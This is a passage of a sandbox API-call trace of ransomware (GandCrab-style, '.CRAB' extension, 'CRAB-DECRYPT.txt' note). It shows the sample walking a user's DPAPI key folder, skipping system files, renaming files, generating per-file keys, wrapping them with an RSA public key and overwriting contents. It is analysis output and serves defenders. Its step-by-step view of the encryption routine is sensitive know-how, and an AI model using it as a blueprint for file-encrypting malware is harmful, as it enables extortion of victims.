	[0112.501] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.501] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.501] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.502] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.502] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.506] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.507] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.507] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0112.507] CloseHandle (hObject=0x3f8) returned 1
	[0112.508] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.508] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.509] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.509] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.509] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.509] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.510] FindNextFileW (in: hFindFile=0xda74f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.510] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.510] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt"
	[0112.510] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.510] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 118
	[0112.510] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 118
	[0112.510] lstrlenW (lpString=".txt") returned 4
	[0112.510] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.510] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.510] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.511] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 118
	[0112.511] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\CRAB-DECRYPT.txt") returned 118
	[0112.511] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.511] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.511] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.511] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.511] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.511] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.511] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.511] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.511] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.511] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.511] FindNextFileW (in: hFindFile=0xda74f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.511] lstrcmpW (lpString1="d7746ecf-458e-4e71-8557-8ac80457022a", lpString2=".") returned 1
	[0112.511] lstrcmpW (lpString1="d7746ecf-458e-4e71-8557-8ac80457022a", lpString2="..") returned 1
	[0112.512] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="d7746ecf-458e-4e71-8557-8ac80457022a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a"
	[0112.512] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.512] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a") returned 138
	[0112.512] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a") returned 138
	[0112.512] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a") returned 138
	[0112.512] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a") returned 138
	[0112.512] lstrcmpiW (lpString1="d7746ecf-458e-4e71-8557-8ac80457022a", lpString2="desktop.ini") returned -1
	[0112.512] lstrcmpiW (lpString1="d7746ecf-458e-4e71-8557-8ac80457022a", lpString2="autorun.inf") returned 1
	[0112.512] lstrcmpiW (lpString1="d7746ecf-458e-4e71-8557-8ac80457022a", lpString2="ntuser.dat") returned -1
	[0112.512] lstrcmpiW (lpString1="d7746ecf-458e-4e71-8557-8ac80457022a", lpString2="iconcache.db") returned -1
	[0112.512] lstrcmpiW (lpString1="d7746ecf-458e-4e71-8557-8ac80457022a", lpString2="bootsect.bak") returned 1
	[0112.512] lstrcmpiW (lpString1="d7746ecf-458e-4e71-8557-8ac80457022a", lpString2="boot.ini") returned 1
	[0112.512] lstrcmpiW (lpString1="d7746ecf-458e-4e71-8557-8ac80457022a", lpString2="ntuser.dat.log") returned -1
	[0112.512] lstrcmpiW (lpString1="d7746ecf-458e-4e71-8557-8ac80457022a", lpString2="thumbs.db") returned -1
	[0112.512] lstrcmpiW (lpString1="d7746ecf-458e-4e71-8557-8ac80457022a", lpString2="CRAB-DECRYPT.txt") returned 1
	[0112.512] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.513] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a.CRAB") returned 143
	[0112.513] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a")) returned 0x26
	[0112.513] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a", dwFileAttributes=0x26) returned 1
	[0112.514] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a.crab")) returned 1
	[0112.515] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.515] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a.CRAB"
	[0112.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a.CRAB.CRAB"
	[0112.515] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0112.516] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.516] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.517] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.517] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0112.517] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.517] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.517] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6ed98) returned 1
	[0112.517] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.517] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.518] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.518] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0112.518] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0112.518] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.518] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.518] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.518] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0112.519] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7830) returned 1
	[0112.519] CryptGetKeyParam (in: hKey=0xda7830, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.519] CryptEncrypt (in: hKey=0xda7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0112.519] GetLastError () returned 0x0
	[0112.519] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.519] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e5a0) returned 1
	[0112.519] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda78b0) returned 1
	[0112.519] CryptGetKeyParam (in: hKey=0xda78b0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.519] CryptEncrypt (in: hKey=0xda78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0112.520] GetLastError () returned 0x0
	[0112.520] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0112.520] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\d7746ecf-458e-4e71-8557-8ac80457022a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0112.520] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.520] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.520] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x1d4, lpOverlapped=0x0) returned 1
	[0112.530] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.530] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.530] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.530] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.530] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.531] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.531] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.534] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.535] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.535] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0112.535] CloseHandle (hObject=0x3f8) returned 1
	[0112.536] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.536] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.536] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.536] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.536] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.537] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.537] FindNextFileW (in: hFindFile=0xda74f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.537] lstrcmpW (lpString1="Preferred", lpString2=".") returned 1
	[0112.537] lstrcmpW (lpString1="Preferred", lpString2="..") returned 1
	[0112.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="Preferred" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred"
	[0112.537] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.537] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned 111
	[0112.537] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned 111
	[0112.537] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned 111
	[0112.537] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned 111
	[0112.537] lstrcmpiW (lpString1="Preferred", lpString2="desktop.ini") returned 1
	[0112.537] lstrcmpiW (lpString1="Preferred", lpString2="autorun.inf") returned 1
	[0112.537] lstrcmpiW (lpString1="Preferred", lpString2="ntuser.dat") returned 1
	[0112.537] lstrcmpiW (lpString1="Preferred", lpString2="iconcache.db") returned 1
	[0112.537] lstrcmpiW (lpString1="Preferred", lpString2="bootsect.bak") returned 1
	[0112.537] lstrcmpiW (lpString1="Preferred", lpString2="boot.ini") returned 1
	[0112.537] lstrcmpiW (lpString1="Preferred", lpString2="ntuser.dat.log") returned 1
	[0112.537] lstrcmpiW (lpString1="Preferred", lpString2="thumbs.db") returned -1
	[0112.537] lstrcmpiW (lpString1="Preferred", lpString2="CRAB-DECRYPT.txt") returned 1
	[0112.537] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.537] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred.CRAB") returned 116
	[0112.538] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\preferred")) returned 0x26
	[0112.538] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred", dwFileAttributes=0x26) returned 1
	[0112.538] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\preferred"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\preferred.crab")) returned 1
	[0112.539] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.539] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred.CRAB"
	[0112.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred.CRAB.CRAB"
	[0112.539] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e9e0) returned 1
	[0112.539] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.540] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.540] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.540] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0112.540] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0112.540] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.540] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6ed98) returned 1
	[0112.540] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.541] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.541] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.541] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0112.541] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0112.541] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.541] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.541] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.541] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e5a0) returned 1
	[0112.542] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda78f0) returned 1
	[0112.542] CryptGetKeyParam (in: hKey=0xda78f0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.542] CryptEncrypt (in: hKey=0xda78f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0112.542] GetLastError () returned 0x0
	[0112.542] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0112.542] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e5a0) returned 1
	[0112.542] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7930) returned 1
